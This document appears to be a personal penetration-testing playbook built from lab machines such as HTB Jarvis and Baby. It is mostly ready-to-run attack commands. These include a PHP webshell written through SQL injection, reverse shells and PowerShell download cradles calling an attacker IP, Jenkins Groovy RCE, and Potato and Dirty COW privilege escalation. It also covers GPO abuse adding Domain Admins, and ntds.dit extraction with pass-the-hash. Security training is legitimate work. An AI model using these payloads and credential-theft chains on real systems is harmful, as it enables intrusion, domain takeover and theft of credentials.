Methodology
Flow at a glance¶
- 1) Recon baseline -> open ports and services (note clock skew for Kerberos)
- 2) Branch: Web or AD quickstart based on exposure
- 3) Validate creds (SMB/WinRM/FTP/MSSQL/SSH with Kerberos if needed)
- 4) Pivot via creds, files, or ACLs (check hidden files & Recycle Bin)
- 5) Escalate (Kerberoast, DCSync, AD CS, GPO abuse via WriteGPLink)
- 6) Post-foothold triage and proof
- 7) Evidence capture and timeline notes
Decision triggers¶
- If LDAP/Kerberos/SMB exposed -> run AD quickstart
- If HTTP/HTTPS exposed -> run web enum
- If Jetty/Tomcat/Java app server found -> check for Jenkins, try
/manager,/script, box-name-based paths - If Jetty +
X-Powered-By: pac4j-jwt→ check version for CVE-2026-29000 (< 6.3.3 = auth bypass). Readapp.jsfor JWKS endpoint, claims schema, role values - If Jetty + multiple high ports (61616, 1883, 5672, 61613) → likely ActiveMQ, not just Jenkins. Check OpenWire version on 61616
- If Jenkins found -> check
/script(Groovy console),/manage,/credentials(often unauthenticated!) - If you get any creds -> validate (SMB/WinRM/FTP/MSSQL)
- If KRB_AP_ERR_SKEW error -> sync time to DC (check nmap clock skew)
- If NTLM disabled or SSH on Windows -> use Kerberos auth workflow
- If AD present -> collect BloodHound to find pivot paths
- If WriteGPLink permission found in BloodHound -> GPO abuse for SYSTEM
- If vaults/files found -> crack and re-validate creds (KeePass .kdbx, Password Safe .psafe3)
- If config files found -> check for base64-encoded passwords
- If Windows shell obtained -> check hidden files, Recycle Bin, and Alternate Data Streams
- If NTLM hash obtained -> pass-the-hash with impacket-psexec (hash = password)
- If SeImpersonatePrivilege -> JuicyPotato/PrintSpoofer/RoguePotato for SYSTEM
- If SeBackupPrivilege (Backup Operators) -> diskshadow + robocopy /b → ntds.dit → secretsdump → Domain Admin
- If Linux box, no sudo, no SUID → run
ss -tlnpto find internal services (127.0.0.1) - If internal web service found → SSH port forwarding (
-L) to access from Kali - If web app has file path parameter → test path traversal AND command injection (
;id,|id) - If reverse shell keeps dying → use
--norc --noprofileor pivot to SSH key injection - If flat-file CMS (PHP + no DB port + data/themes/plugins dirs) → check WonderCMS, Grav, Bludit
- If Whitelabel Error Page → Spring Boot → check
/actuatorendpoints (sessions, env, mappings) - If
/actuator/sessionsexposed → steal JSESSIONID for session hijacking (no password needed) - If web form passes input to shell command → command injection (check for whitespace filter →
${IFS}bypass) - If command injection but
Bad fd number→ server is sh/dash, usebash -cexplicitly for/dev/tcp/ - If Spring Boot JAR on box →
unzip+grep -R password→application.propertiesoften has DB creds - If
sudo -lshows(root) /usr/bin/ssh *→ GTFOBins:sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x - If
sudo -lshows a service daemon (nginx, apache2) → write custom config:sudo /usr/sbin/nginx -c /tmp/evil.confwithuser root; root /; autoindex on;on alternate port → serves entire filesystem as root. Adddav_methods PUT;for file writes (SSH key injection). Sudo path must match exactly! - If ActiveMQ found (ports 61616/8161/1883/5672/61613) → check version via OpenWire banner on 61616. Version < 5.18.3 → CVE-2023-46604 unauthenticated RCE. Try
admin:admindefault creds on web console (8161) - If web app admin settings leak secrets/keys → try them as SSH passwords for service accounts (single-quote passwords with
$$to avoid shell expansion!) - If web app DB creds found → dump tables → crack hashes → try password reuse on system users via SSH
- If SSH CA key readable (check group membership for deploy/automation groups) → sign cert as root principal → SSH as root
- If Node.js app with code editor/sandbox → check About page for sandbox library. If vm2 → CVE-2023-30547 sandbox escape (versions <= 3.9.16)
- If sandbox escape achieved →
require('child_process')works on host. UseexecSyncfor shell one-liners,spawnSyncfor direct args (no shell interpretation) - If
spawnSyncrev shell fails (Bad fd numberor no connection) → it doesn't run through a shell. UseexecSyncor download+execute pattern (wget script, then bash it) - If sudo script compares secret with
[[ $secret == $user_input ]](unquoted RHS) → bash glob exploit:*matches anything, brute-force char by char with${known}${char}*
Output files[]¶
- Use
nmap -oA nmap/<name>andffuf -o ffuf/<name>.jsonfor clean artifacts - Use
cmd.logas the timeline spine; useout.logonly for evidence snippets - Keep loot and evidence in
loot/andevidence/
Recon baseline¶
Command
- ping <IP> or nc -vz <IP> 80 if ICMP is blocked
- nmap -p- --min-rate=3000 -Pn -oN nmap/OpenPorts.txt <IP>
- ports=$(awk '/^[0-9]+\/tcp/ {print $1}' nmap/OpenPorts.txt | cut -d/ -f1 | paste -sd,)
- nmap -p$ports -sSCV --min-rate=2000 -Pn -oN nmap/ServicesVersions.txt <IP>
- dig @<IP> any <domain> or attempt zone transfer if DNS is exposed
Why - Establish reachability and discover all TCP services - Run scripts and version detection only on open ports - Identify DNS records and potential zone transfers
Flags/Notes
- -p-: all TCP ports
- --min-rate: speed up scan
- -Pn: skip host discovery
- -oN: save normal output to file
- -sS: SYN scan, -sC: default scripts, -sV: version detection
Service Version → Public Exploit (old-software boxes)¶
When: every banner is a specific old version (e.g. Apache 1.3.x, Sendmail 8.13.x, Samba 3.0.x, OpenSSH 3.x = a mid-2000s Debian/Ubuntu stack). This is an old-software RCE box — match versions to public exploits offline, don't chase web logic.
Command
searchsploit <product> <loose-version> # apache 1.3.33 | sendmail 8.13 | samba 3.0.14
searchsploit -m <path> # mirror exploit into cwd
searchsploit -x <path> # READ it before running
Filter the noise — keep only Remote + unauthenticated:
- Discard dos/ (DoS), local/ (needs a shell already), and version-mismatched hits.
Watch the direction of the <: "OpenSSH < 6.6 SFTP" does NOT apply to OpenSSH 3.8 —
3.8 is older than the vulnerable range, not inside it.
KEY LESSON — searchsploit the box NAME / hostname / web title, not just the banners.
Names are hints ~80% of the time. If banners give nothing clean, search the machine name.
- Worked example (OffSec "ClamAV", host 0xbabe, web title "Ph33r"): banners
(sendmail/samba/apache/openssh) → only DoS/local/mismatched. The box name was the
tell — ClamAV has no own port; it hooks Sendmail (TCP 25) as a milter.
searchsploit clamav → EDB 4761 (clamav-milter black-hole RCE, CVE-2007-4560) → root.
Read what the exploit DOES — not all take a cmd arg. EDB 4761 takes only the target
IP and hardcodes a payload that appends 31337 stream tcp nowait root /bin/sh -i to
/etc/inetd.conf and restarts inetd → then nc <ip> 31337 for a root shell. Always
head/-x the exploit to learn what backdoor/port it leaves behind.
If it fails: look for an alternate old-service path — e.g. Samba 3.0.x
username map script (CVE-2007-2447) when that directive is set.
Compiling OLD kernel exploits on modern Kali (pre-2012 boxes)¶
When: you match a local-root kernel exploit (searchsploit kernel 2.6.x) on an ancient box and need to compile it. Modern Kali fights you in THREE distinct ways — know which failure you're seeing.
Reading searchsploit ranges (the deduction): Linux Kernel 2.6.17 < 2.6.24.1 - vmsplice = affects 2.6.17 up to (not incl.) 2.6.24.1. Find the entry whose range brackets your uname -r — don't grep the literal version. i686 = 32-bit → x86 exploits, not x86-64. Dirty COW's 2.6.22 < 3.9 means 2.6.22 is the earliest affected → it applies.
Failure 1 — missing headers at compile time:
- bits/libc-header-start.h → sudo apt install gcc-multilib (32-bit libs missing)
- asm/page.h → header deleted; it only gave PAGE_SIZE. Replace include with #define PAGE_SIZE 4096.
- crypt.h → moved to libxcrypt → sudo apt install libcrypt-dev, or drop the dependency (below).
Failure 2 — gcc-14 turned old warnings into errors (incompatible pointer type, implicit declarations):
gcc -m32 -static -fno-stack-protector \
-Wno-error=incompatible-pointer-types -Wno-error=implicit-function-declaration \
-Wno-error=int-conversion -Wno-error=implicit-int -o exploit exploit.c
-lcrypt? If crypt() only hashes a password, precompute + hardcode:
openssl passwd -1 -salt firefart pwned → paste $1$firefart$... into the source, delete #include <crypt.h> and -lcrypt.
Failure 3 — compiles clean but SEGFAULTS on target before running. THE trap.
Modern glibc stamps static binaries for GNU/Linux 3.2.0 (a minimum-kernel floor). On a 2.6.x kernel glibc aborts at startup → segfault before main(). Looks like a broken exploit; it's the toolchain.
file exploit # if it says "for GNU/Linux 3.2.0" and target kernel < 3.2, this is your problem
# DIAGNOSE: static hello-world, run on target — if IT segfaults too, confirmed toolchain
# FIX: rebuild against musl (no kernel floor) in a 32-bit Alpine container:
docker run --rm -v "$PWD":/src -w /src i386/alpine sh -c \
"apk add --no-cache gcc musl-dev && gcc -static -no-pie -pthread -o exploit_musl exploit.c"
-no-pie required — old kernels can't load static-PIE (Alpine's default).
Dirty COW (CVE-2016-5195) FireFart usage — EDB 40839:
./dirty_musl # LET IT FINISH: wait for "Done! ... ptrace 0 / madvise 0"
su firefart # Ctrl+C during the race (only "mmap:" shown) REVERTS /etc/passwd
cp /tmp/passwd.bak /etc/passwd # restore when done
Root flag breakdown (Payday, Ubuntu 7.10 / 2.6.22):
1. uname -a → 2.6.22 i686; searchsploit kernel 2.6.22 → Dirty COW (2.6.22 < 3.9) + vmsplice (< 2.6.24.1) both match.
2. No gcc on target → compile on Kali. 40839: strip crypt.h, hardcode hash, drop -lcrypt.
3. Static build segfaults → file shows for GNU/Linux 3.2.0 → rebuild via i386/alpine musl, -no-pie.
4. Run to Done!, su firefart (pw pwned) → uid=0(root).
Foothold flag breakdown (ClamAV):
1. Full port scan → list services + exact versions (_full_tcp_nmap.txt).
2. searchsploit each banner → all noise (DoS/local/mismatch).
3. searchsploit clamav (box name) → clamav-milter blackhole RCE.
4. searchsploit -m 4761.pl; read payload → it plants an inetd backdoor on 31337.
5. perl 4761.pl <ip> (IP only) → nc -nv <ip> 31337 → uid=0(root). No privesc needed.
Web (80/443)¶
Command
- ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://<IP>/FUZZ -e .php,.txt -t 20
- gobuster dir -u http://<host> -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt -t 20
Why - Find hidden files, directories, and backups
Flags/Notes
- -w: wordlist
- -u: target URL with FUZZ
- -e: extensions
- -t: threads
- If standard wordlists find nothing, try box-name-based guessing (e.g., "Jeeves" → /askjeeves/)
- Check non-standard ports too (50000, 8080, 8443, etc.)
- CMS identification: directory structure can fingerprint the CMS:
- data/, messages/, plugins/, themes/ + PHP + no DB = WonderCMS (flat-file)
- Check page source for author names → Google them → find CMS community pages
- searchsploit <cms_name> once identified
SQLi → RCE via MySQL FILE Privilege (INTO OUTFILE webshell)¶
When: UNION SQLi on MySQL/MariaDB and the app schema has no useful creds (only business tables). Pivot from dumping data to abusing capability.
Flag breakdown:
1. Find the param — numeric ?id=/?cod= on a PHP app. Quote-test; use curl -s -o /dev/null -w "%{http_code} %{size_download}\n" as a boolean oracle (size diff = injectable).
2. Column count + reflected positions — ... UNION ALL SELECT 1,2,3,...-- -; route VERSION()/user() through reflected columns. A privileged DB user (DBadmin, root) is a hint.
3. Confirm FILE — ... UNION ALL SELECT 1,(SELECT group_concat(grantee,0x3a,privilege_type) FROM information_schema.user_privileges),3,..-- - → look for :FILE.
4. Hex the payload (avoids quote/URL hell):
echo -n '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>' | xxd -p | tr -d '\n'
... UNION ALL SELECT 1,unhex('3c3f...3f3e'),3,4,5,6,7 INTO OUTFILE '/var/www/html/sh.php'-- - (use an invalid cod so only the injected row returns).
6. Trigger — curl "http://<IP>/sh.php?cmd=id" → www-data.
If it fails:
- Blank page is normal (OUTFILE returns no rows) — verify by requesting the file, not the SQL response.
- Can't create/write to file → wrong webroot or secure_file_priv set. Use LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf') to find DocumentRoot.
- OUTFILE won't overwrite — change the filename.
Lesson: Once the app DB has no creds, don't keep mining it. FILE privilege turns SQLi straight into RCE — LOAD_FILE (read) + INTO OUTFILE (write webshell). (HTB Jarvis)
Linux Root via sudo systemctl (malicious unit)¶
When: sudo -l (as the current user) shows you can run /bin/systemctl (or a script that does) as root. Instant root.
Flag breakdown: 1. Write a unit you control:
# ~/root.service
[Unit]
Description=x
[Service]
Type=simple
ExecStart=/usr/bin/chmod u+s /bin/bash
[Install]
WantedBy=multi-user.target
sudo /bin/systemctl enable /home/<you>/root.service → symlinks into /etc/systemd/system
3. sudo /bin/systemctl start root.service → ExecStart runs as root
4. /bin/bash -p → SUID bash keeps euid=root → root shell; cat /root/root.txt
Critical gotcha: ExecStart must be an absolute path (/usr/bin/chmod, not chmod) — systemd errors "Executable path is not absolute".
Variants: payload can be a reverse shell or cp /bin/bash /tmp/rb; chmod +s /tmp/rb. If sudo systemctl status opens a pager, escape with !sh (GTFOBins).
Lesson: Any service manager runnable as root = root. (HTB Jarvis: www-data → sudo -u pepper simpler.py -p command injection ($(bash)) → pepper → sudo systemctl malicious unit → root.)
Jenkins Exploitation (Jetty/Java App Servers)¶
Command
# Check for Jenkins on common paths
for path in "askjeeves" "jenkins" "script" "manage" "j" "ci"; do
curl -s -o /dev/null -w "$path: %{http_code}\n" "http://<IP>:<PORT>/$path/"
done
# If Jenkins dashboard found, check critical endpoints
for path in "script" "manage" "credentials" "systemInfo" "configure"; do
curl -s -o /dev/null -w "$path: %{http_code}\n" "http://<IP>:<PORT>/<jenkins_path>/$path"
done
Why - Jenkins is often unauthenticated and has a built-in Groovy Script Console = instant RCE - Jetty (HTTP server) commonly hosts Jenkins
RCE via Script Console (/script)
# Execute OS commands (Windows)
def cmd = "cmd.exe /c whoami"
def process = cmd.execute()
println process.text
# Execute OS commands (Linux)
def cmd = "id"
def process = cmd.execute()
println process.text
Reverse Shell via Script Console (Windows)
# Download cradle - downloads and executes a PowerShell reverse shell
# Requires: nc listener on Kali + Nishang shell hosted via python HTTP server
Thread.start {
def cmd = """cmd.exe /c powershell IEX(New-Object Net.WebClient).downloadString('http://<KALI_IP>/shell.ps1')"""
cmd.execute()
}
Flags/Notes
- Thread.start { } prevents the Script Console page from hanging
- Groovy .execute() runs strings as OS commands (like Python's os.system())
- println prints output to the Script Console result area
- /script = Groovy console, /manage = admin panel, /credentials = stored creds
- Always check Jenkins version (footer) for known CVEs
Nishang Reverse Shell (Download Cradle Pattern)¶
Command
# Step 1: Copy and prepare Nishang reverse shell
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 /tmp/shell.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress <KALI_IP> -Port <PORT>' >> /tmp/shell.ps1
# Step 2: Host it
cd /tmp && python3 -m http.server 80
# Step 3: Start listener
rlwrap nc -lvnp <PORT>
# Step 4: Trigger download from target (via Jenkins, RCE, etc.)
# Target runs: powershell IEX(New-Object Net.WebClient).downloadString('http://<KALI_IP>/shell.ps1')
Why
- Nishang scripts define functions but don't call them - must append the invoke line
- Download cradle avoids pasting 100+ lines into a web form
- IEX (Invoke-Expression) downloads the script as text and executes it in memory
Flags/Notes
- Nishang shells: /usr/share/nishang/Shells/ (pre-installed on Kali)
- Invoke-PowerShellTcp.ps1 = TCP reverse shell (most reliable, use this first)
- python3 -m http.server 80 = quick HTTP server to host payloads
- rlwrap nc -lvnp = listener with arrow key/history support
- Pattern: Host → Download → Execute in memory (nothing written to disk)
Active Directory quickstart¶
Command
- smbclient -N -L //<host>
- ldapsearch -x -H ldap://<host> -b "DC=...,DC=..."
- GetNPUsers.py <realm>/ -no-pass -usersfile users.txt -dc-ip <IP> -format hashcat
- mssqlclient.py <user>:<pass>@<host>
- nxc winrm <IP> -u <user> -p <pass>
Why - Enumerate shares, LDAP objects, and Kerberos roastable users - Validate credentials and service access
Flags/Notes
- -N: no auth, -L: list shares
- -x: simple bind, -H: LDAP URI, -b: base DN
- -no-pass: anonymous, -usersfile: user list, -format hashcat: crackable output
- Use <domain>/<user> for AD auth in MSSQL; omit domain for SQL auth
- nxc winrm -H for hashes, -k for Kerberos
Kerberos Authentication Workflow¶
Command
# Check for clock skew in nmap output (KRB_AP_ERR_SKEW = time sync issue)
# Sync time if DC has clock offset
sudo date --set="$(date -d '+X hours')" # Replace X with offset from nmap
# Generate krb5.conf
nxc smb <dc-hostname> -u <user> -p '<pass>' --generate-krb5-file ./krb5.conf
sudo cp ./krb5.conf /etc/krb5.conf
# Get Ticket Granting Ticket (TGT)
impacket-getTGT <domain>/<user>:'<pass>' -dc-ip <IP>
# Export ticket path
export KRB5CCNAME=~/path/to/<user>.ccache
# Verify ticket
klist
# SSH with Kerberos (if Windows OpenSSH available)
ssh -K <user>@<dc-hostname>
# Use Kerberos with other tools
impacket-smbclient -k -no-pass <domain>/<user>@<dc-hostname>
evil-winrm -i <IP> -r <realm> -u <user> -k
Why - Kerberos auth required when NTLM is disabled or restricted - Enables passwordless auth after TGT acquisition - Required for Windows SSH with GSSAPI
Flags/Notes
- KRB_AP_ERR_SKEW error = clock skew > 5 minutes; must sync time to DC
- --generate-krb5-file creates proper realm/KDC configuration
- TGT valid for ~10 hours (renewable)
- -K flag enables GSSAPI (Kerberos) for SSH
- KRB5CCNAME environment variable points to credential cache
- Kerberos requires proper DNS resolution (/etc/hosts or DNS)
AD pivot chain¶
Command
- bloodhound-python -c ALL -u <user> -p '<pass>' -d <domain> -ns <dc-ip>
- net user <target> <NewPass123!>
- net rpc password "<target>" '<NewPass123!>' -U "<domain>/<user>"%'<pass>' -S "<dc-ip>"
- nxc ftp <dc-ip> -u <user> -p '<pass>' --ls
- nxc ftp <dc-ip> -u <user> -p '<pass>' --get <file>
- hashcat -m 5200 <vault>.psafe3 /usr/share/wordlists/rockyou.txt --force
- ./targetedKerberoast.py -v -d '<domain>' -u '<user>' -p '<pass>' --use-ldaps
- hashcat <user>.hash /usr/share/wordlists/rockyou.txt --force
- secretsdump.py '<domain>/<user>:<pass>@<dc-host>'
Why - Use ACLs and creds to pivot users - Pull sensitive files and crack vaults - Kerberoast/DCSync for higher-priv access
Flags/Notes
- -c ALL: full BloodHound collection
- net user on a DC resets domain user passwords (requires object control)
- net rpc password performs SMB RPC reset when local syntax fails
- --ls list and --get download in NetExec FTP
- -m 5200: Password Safe v3
- --use-ldaps: use LDAPS 636
- DCSync returns NTLM hashes for domain accounts
MSSQL playbook¶
Command
- impacket-mssqlclient <domain>/<user>:<pass>@<IP>
- SELECT name FROM master.sys.databases;
- xp_dirtree '\\<attacker_ip>\share'
- xp_readerrorlog 0,1,N'Login failed';
- EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
Why - Enumerate DBs and coerce hashes - Mine logs for leaked creds - Enable command execution if needed
Flags/Notes
- Use <domain>/ for AD auth; drop domain for SQL auth
- xp_dirtree forces SMB auth to capture NetNTLMv2
- xp_readerrorlog indexes the error log and searches a term
Credential discovery pivot¶
Command
- Check SQL error logs, LDAP description fields, and SMB shares
- Crack NetNTLMv2 with hashcat mode 5600
- PTH with evil-winrm / nxc smb --hashes / psexec
Why - Convert passive intel into new authenticated access
Flags/Notes - Always re-validate creds on SMB/WinRM/FTP
KeePass Database Cracking¶
Command
# Extract hash from .kdbx file
keepass2john <file>.kdbx > keepass.hash
# Crack with john
john keepass.hash --wordlist=/usr/share/wordlists/rockyou.txt
# Or crack with hashcat (mode 13400)
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt --force
# Open the database after cracking
kpcli --kdb <file>.kdbx
# Enter cracked master password when prompted
Why - KeePass databases (.kdbx) store passwords, hashes, SSH keys, and notes - Often found in user Documents folders on Windows targets - May contain admin credentials, NTLM hashes, or access to internal services
Flags/Notes
- keepass2john extracts the master password hash in john-crackable format
- hashcat mode 13400 = KeePass 1/2 databases
- kpcli = command-line KeePass client (alternatives: KeePassXC GUI on Kali)
- Check ALL entries - titles like "Backup stuff" or "DC Recovery" often hide the real prize
- Entries may contain NTLM hashes (format: aad3b435b51404ee...:e0fb1fb85756c24...) instead of plaintext passwords
- File transfer: Use impacket-smbserver share . -smb2support on Kali, then copy file \\<IP>\share\ from target
Pass-the-Hash (PTH)¶
Command
# SYSTEM shell via psexec (uploads service binary, runs as SYSTEM)
impacket-psexec administrator@<IP> -hashes aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
# WinRM shell (if WinRM is open, port 5985)
evil-winrm -i <IP> -u administrator -H '<NT_HASH>'
# SMB validation (quick check if hash works)
nxc smb <IP> -u administrator -H '<NT_HASH>'
# SMB with full LM:NT format
nxc smb <IP> -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:<NT_HASH>'
Why - Windows auth uses the NT hash internally - having the hash IS having the password - No need to crack the hash to plaintext - use it directly - impacket-psexec gives SYSTEM (not just admin) because it creates a Windows service
Flags/Notes
- NTLM hash format: LM_HASH:NT_HASH
- aad3b435b51404eeaad3b435b51404ee = empty LM hash (LM disabled, normal on modern Windows)
- The NT hash is the part after the colon - that's what matters
- psexec = SYSTEM shell (best for privesc), requires writable ADMIN$ share
- evil-winrm = admin shell (interactive PowerShell), requires WinRM port 5985
- nxc = quick validation, no interactive shell
- Common hash sources: KeePass databases, secretsdump, SAM dumps, Mimikatz
GPO Abuse (WriteGPLink Privilege Escalation)¶
Command (PowerShell on Windows target)
# Verify WriteGPLink permission (check BloodHound first)
# User must have WriteGPLink over domain or OU
# Method 1: SharpGPOAbuse (Scheduled Task to add user to Domain Admins)
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "AddDA" --Author DOMAIN\Administrator --Command "cmd.exe" --Arguments "/c net group 'Domain Admins' <user> /add /domain" --GPOName "EvilGPO"
# Method 2: Manual GPO Creation + SharpGPOAbuse (Reverse Shell as SYSTEM)
# Step 1: Create new GPO
New-GPO -name "EvilGPO"
# Step 2: Link GPO to domain root (applies to ALL computers including DCs)
New-GPLink -Name "EvilGPO" -target "DC=domain,DC=tld"
# Step 3: Generate reverse shell payload (use revshells.com)
# PowerShell #3 (Base64), encode to base64
# Step 4: Inject malicious scheduled task with SharpGPOAbuse
.\SharpGPOAbuse.exe --addcomputertask --GPOName "EvilGPO" --Author "admin" --TaskName "RevShell" --Command "powershell.exe" --Arguments "powershell -e <base64_payload>"
# Step 5: Force GPO update (speeds up propagation)
gpupdate /force
# Wait 1-2 minutes for GPO to apply on DC
# Catch reverse shell on attacker machine (nc -lnvp <port>)
Why - WriteGPLink permission allows linking GPOs to Organizational Units - GPOs linked to domain root apply to ALL domain computers (including DCs) - Scheduled tasks in GPOs execute as NT AUTHORITY\SYSTEM - Direct path to Domain Admin or SYSTEM shell
Flags/Notes
- Check BloodHound for WriteGPLink edges (not shown by whoami /all)
- Group Policy Creator Owners membership does NOT automatically grant WriteGPLink
- --AddComputerTask = creates immediate scheduled task (runs on next GPO refresh)
- GPO refresh interval: 90-120 seconds (or use gpupdate /force)
- Alternative targets: DC=domain,DC=tld (domain root) or OU=Domain Controllers,DC=domain,DC=tld
- SharpGPOAbuse alternatives: PowerView's New-GPOImmediateTask, manual SYSVOL modification
- Non-destructive option: Use bloodyAD or SharpGPOAbuse to add user to local Administrators instead of Domain Admins
Transfer SharpGPOAbuse.exe:
# On Kali
cd /path/to/tools
python3 -m http.server 8080
# On Windows (PowerShell)
Invoke-WebRequest -Uri "http://<attacker-ip>:8080/SharpGPOAbuse.exe" -OutFile "SharpGPOAbuse.exe"
AD CS (ESC1) abuse¶
Command
- certipy find -dc-ip <IP> -u <user> -p <pass> -enabled -vulnerable
- certipy req -dc-ip <IP> -u <user> -p '<pass>' -ca <CA> -template <Template> -upn administrator@<domain> -dns <dc> -outfile administrator
- certipy auth -pfx administrator.pfx -dc-ip <IP>
- KRB5CCNAME=administrator.ccache evil-winrm -i <IP> -r <realm> -u administrator -k
Why - Identify misconfigured templates and authenticate as higher-priv users
Flags/Notes
- -enabled: active templates only
- -vulnerable: highlight ESC paths
- -upn: spoofed principal
- -k: Kerberos auth; KRB5CCNAME points to ticket cache
Post-foothold triage¶
Command
- whoami /groups, whoami /priv, hostname, ipconfig /all
- Check C:\Users\<user>\Desktop, C:\Users\Public, scheduled tasks/services
- dir /s /b C:\Users\<user>\Documents - look for KeePass (.kdbx), config files, scripts
Why - Confirm privileges and identify quick-win loot
Flags/Notes
- If lateral movement is needed, validate WinRM/SMB reachability to other hosts
- Check whoami /priv immediately - SeImpersonatePrivilege = easy SYSTEM
- Look for credential stores: KeePass (.kdbx), Password Safe (.psafe3), browser data
Windows Privilege Escalation - SeImpersonatePrivilege¶
Command
# Check for the privilege
whoami /priv
# Look for: SeImpersonatePrivilege Enabled
# JuicyPotato (Windows 10 build ≤ 10586, Server 2016 and earlier)
# Transfer JuicyPotato.exe to target
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\path\to\nc.exe <KALI_IP> <PORT> -e cmd.exe" -t *
# PrintSpoofer (Windows 10, Server 2016/2019)
PrintSpoofer.exe -i -c cmd
# RoguePotato (when JuicyPotato is blocked)
RoguePotato.exe -r <KALI_IP> -e "C:\path\to\nc.exe <KALI_IP> <PORT> -e cmd.exe" -l 9999
Why - SeImpersonatePrivilege allows impersonating tokens from other processes - Service accounts (IIS, Jenkins, MSSQL) commonly have this privilege - Potato exploits abuse Windows COM/DCOM to get a SYSTEM token, then impersonate it
Flags/Notes - JuicyPotato = classic, most reliable on older Windows (needs valid CLSID) - PrintSpoofer = newer, simpler, works on Server 2019 (abuses print spooler) - RoguePotato = works when JuicyPotato is patched/blocked - Alternative path: If you find admin NTLM hash (KeePass, SAM dump), pass-the-hash with psexec may be faster than potato exploits - Common on: Jenkins, IIS, MSSQL service accounts
Windows Privilege Escalation - Backup Operators (SeBackupPrivilege)¶
Command
# Check for the privilege
whoami /priv
# Look for: SeBackupPrivilege Enabled
# SeRestorePrivilege Enabled
# Check group membership
whoami /groups
# Look for: BUILTIN\Backup Operators
Why
- Backup Operators group grants SeBackupPrivilege and SeRestorePrivilege
- SeBackupPrivilege = read ANY file on the system, bypassing NTFS ACLs
- The goal: extract ntds.dit (all domain hashes) + SYSTEM hive (decryption key)
- ntds.dit is locked by Active Directory — can't just copy it. Need a shadow copy.
Step 1: Extract SAM + SYSTEM registry hives
reg save HKLM\SAM C:\Users\Public\SAM
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM
download or SMB
- pypykatz registry --sam SAM SYSTEM → extracts LOCAL account hashes only
- Note: Local admin hash ≠ domain admin hash. SAM only has local accounts.
Step 2: Create diskshadow script on Kali
# Create the script (MUST use unix2dos for Windows CRLF line endings!)
cat << 'EOF' > backup
set context persistent nowriters
add volume c: alias yourShadow
create
expose %yourShadow% e:
EOF
unix2dos backup
Flags/Notes (diskshadow script)
- set context persistent nowriters = shadow copy persists after diskshadow exits, skip VSS writers (faster)
- add volume c: alias yourShadow = target C: drive, name the shadow "yourShadow"
- create = create the Volume Shadow Copy (frozen snapshot of the entire C: drive)
- expose %yourShadow% e: = mount the shadow copy as drive E: so you can browse it
- unix2dos is critical — diskshadow silently fails on Unix line endings (LF vs CRLF)
Step 3: Upload and run diskshadow
# Upload script via evil-winrm
upload backup C:\Users\Public\backup
# Run in script mode (interactive mode fails in evil-winrm — "The pipe has been ended")
diskshadow /s C:\Users\Public\backup
Flags/Notes
- /s = script mode (reads commands from file instead of interactive prompt)
- Interactive diskshadow fails in evil-winrm due to pipe limitations
- Output shows: "Shadow copy ID", "Shadow copy set ID", "Number of shadow copies exposed: 1"
Step 4: Robocopy ntds.dit from shadow copy
robocopy /b e:\Windows\ntds . ntds.dit
Flags/Notes
- /b = backup mode — this is the key flag that activates SeBackupPrivilege
- Without /b, you get "Access Denied" even with the privilege enabled
- e:\Windows\ntds = source path on the shadow copy (exposed as E:)
- . = destination (current directory)
- ntds.dit = specific file to copy (the AD database)
- Regular copy and xcopy do NOT activate SeBackupPrivilege — only robocopy /b does
Step 5: Download and extract hashes
# Download ntds.dit and SYSTEM from target (evil-winrm)
download ntds.dit
download C:\Users\Public\SYSTEM
# Extract ALL domain hashes
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Flags/Notes
- -ntds = path to ntds.dit file (the AD database)
- -system = path to SYSTEM registry hive (contains the boot key for decryption)
- LOCAL = offline extraction (not connecting to a remote host)
- Output: Every domain user's NT hash in user:RID:LM:NT::: format
- Includes: Administrator, krbtgt (Golden Ticket material), all domain users, machine accounts
Step 6: Pass-the-Hash as Domain Administrator
evil-winrm -i <IP> -u Administrator -H '<DOMAIN_ADMIN_NT_HASH>'
Flags/Notes
- -H (uppercase) = NT hash authentication. Not -h (lowercase = help!)
- Use the domain Administrator hash from ntds.dit, NOT the local admin hash from SAM
- nxc smb <IP> -u Administrator -H '<HASH>' to validate first (look for (Pwn3d!))
Decision tree
whoami /priv shows SeBackupPrivilege?
├── YES → Backup Operators privesc path
│ ├── reg save SAM + SYSTEM → pypykatz → local hashes only
│ ├── diskshadow shadow copy → robocopy /b ntds.dit
│ └── secretsdump ntds.dit + SYSTEM → ALL domain hashes → PtH as Admin
└── NO → Check other privileges (SeImpersonate, etc.)
Common mistakes
- Forgetting unix2dos on the diskshadow script (silent failure)
- Using interactive diskshadow in evil-winrm (pipe error — use /s script mode)
- Using copy instead of robocopy /b (Access Denied — SeBackupPrivilege not activated)
- Confusing local admin hash (SAM) with domain admin hash (ntds.dit)
- Using -h instead of -H for hash auth in evil-winrm/nxc (lowercase = help flag)
Learned from: HTB Baby (Backup Operators → shadow copy → ntds.dit → Domain Admin)
Windows Hidden File Enumeration¶
Command (PowerShell)
# View hidden files and directories
Get-ChildItem -Force
Get-ChildItem -Path C:\ -Force
# Recursively search for hidden files
Get-ChildItem -Path C:\Users\<user> -Recurse -Force -ErrorAction SilentlyContinue
# Filter only hidden files
Get-ChildItem -Recurse -Force | Where-Object {$_.Attributes -match "Hidden"}
# Check PowerShell command history (credentials often leak here!)
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Enumerate Recycle Bin (deleted files)
Get-ChildItem -Path C:\$RECYCLE.BIN -Recurse -Force
# Read metadata from $I files (shows original path/filename)
Format-Hex 'C:\$RECYCLE.BIN\{SID}\$I...'
# Common hidden file locations
Get-ChildItem -Force C:\Users\<user>\AppData\Roaming
Get-ChildItem -Force C:\Users\<user>\AppData\Local
